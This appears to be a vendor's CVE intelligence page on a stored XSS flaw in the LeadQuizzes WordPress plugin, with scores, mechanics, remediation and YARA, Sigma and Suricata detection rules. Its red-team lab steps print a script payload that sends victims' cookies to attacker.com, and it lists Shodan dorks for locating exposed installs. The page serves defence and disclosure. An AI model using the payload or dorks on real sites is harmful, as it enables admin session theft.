☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Yazamodeveloper logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31738

CVE-2025-31738 Cross-Site Scripting in Yazamodeveloper
📅 PUBLISHED: 2025-04-01 15:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.88%
👁️
0.88% probability
22.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31738 is a Stored Cross-Site Scripting (XSS) vulnerability in the LeadQuizzes WordPress plugin, developed by yazamodeveloper. The vulnerability affects all versions up to and including 1.1.0. An attacker can inject malicious scripts into web pages generated by the plugin, which are then stored and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – the victim must visit a page containing the malicious payload.
  • Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

The threat level is Medium due to the requirement for user interaction, but the potential for stored XSS in a WordPress plugin can lead to widespread compromise if exploited.

Deep Dive & Mechanics

The vulnerability lies in the LeadQuizzes plugin's failure to properly sanitize user-supplied input before storing it in the database and later rendering it in web pages. Specifically, the plugin likely stores quiz data, user responses, or other metadata without escaping HTML or JavaScript. When an administrator or other user views the affected page (e.g., quiz results, admin dashboard), the injected script executes in their browser context.

The attack flow:

  1. An attacker submits a malicious payload (e.g., <script>alert('XSS')</script>) through a form field or API endpoint.
  2. The plugin stores the payload in the WordPress database without sanitization.
  3. When a victim (including an admin) loads a page that displays this data, the payload is rendered and executed.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's output functions. A typical vulnerable pattern in WordPress plugins is:

// Vulnerable: directly outputting user input without escaping
echo $user_input;

The patched version would use WordPress's escaping functions:

// Patched: escaping output
echo esc_html( $user_input );

Exploitation & Lab Setup

Red Team

  1. Setup: Install WordPress with the LeadQuizzes plugin version 1.1.0.
  2. Craft Payload: Create a JavaScript payload that steals cookies or performs admin actions.
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  3. Inject: Submit the payload via a quiz response or plugin settings field.
  4. Trigger: Wait for an admin to view the affected page (e.g., quiz results page).
  5. Exfiltrate: The admin's cookies are sent to the attacker's server.

Blue Team

  1. Monitor: Look for unusual script tags in plugin-related database entries.
  2. Harden: Implement Content Security Policy (CSP) headers to block inline scripts.
  3. Audit: Review plugin code for missing esc_html() or wp_kses() calls.
  4. Isolate: Use a Web Application Firewall (WAF) to block common XSS patterns.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains containing cookie= or document.cookie.
  • File: Modified plugin files (e.g., leadquizzes.php) containing suspicious JavaScript.
  • Database: Entries in wp_postmeta or custom tables with <script> tags.
  • Logs: WordPress debug logs showing unexpected script execution.

Detection Engineering

YARA Rule

rule CVE_2025_31738_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in LeadQuizzes plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31738"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-31738 Stored XSS in LeadQuizzes Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS payloads in HTTP responses from LeadQuizzes plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.response.body|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31738 Stored XSS in LeadQuizzes"; flow:to_client,established; content:"<script>"; http_server_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the LeadQuizzes plugin until a patch is available.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin-related POST requests.
  3. Long-term: Apply input validation and output escaping in all plugin fields. Use WordPress functions like esc_html(), esc_attr(), and wp_kses().
  4. Monitor: Regularly check for plugin updates from the vendor.
  5. Audit: Conduct a security review of all WordPress plugins for similar vulnerabilities.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"LeadQuizzes"
http.html:"leadquizzes"
http.html:"wp-content/plugins/leadquizzes"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31738/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.